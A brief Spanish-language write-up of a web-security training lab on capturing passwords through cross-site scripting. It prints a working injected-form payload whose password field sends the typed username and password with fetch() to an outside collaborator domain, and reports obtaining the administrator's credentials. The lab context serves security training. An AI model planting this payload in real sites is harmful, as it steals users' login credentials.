Exploiting cross-site scripting to capture passwords

LAB

En este laboratorio, vemos que tenemos valores true en HtppOnly y en Secure por lo que no podremos exfiltrar la cookie de usuario.

Por ello podemos insertar un código html para que la victima pueda insertar sus credenciales y este sea enviada a nuestro dominio

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://5bhwpeybyz6swmzev5jjcl67kyqpek29.oastify.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Al insertar y luego esperar un par de segundos veremos que tenemos efectivamente las credenciales del usuario administrator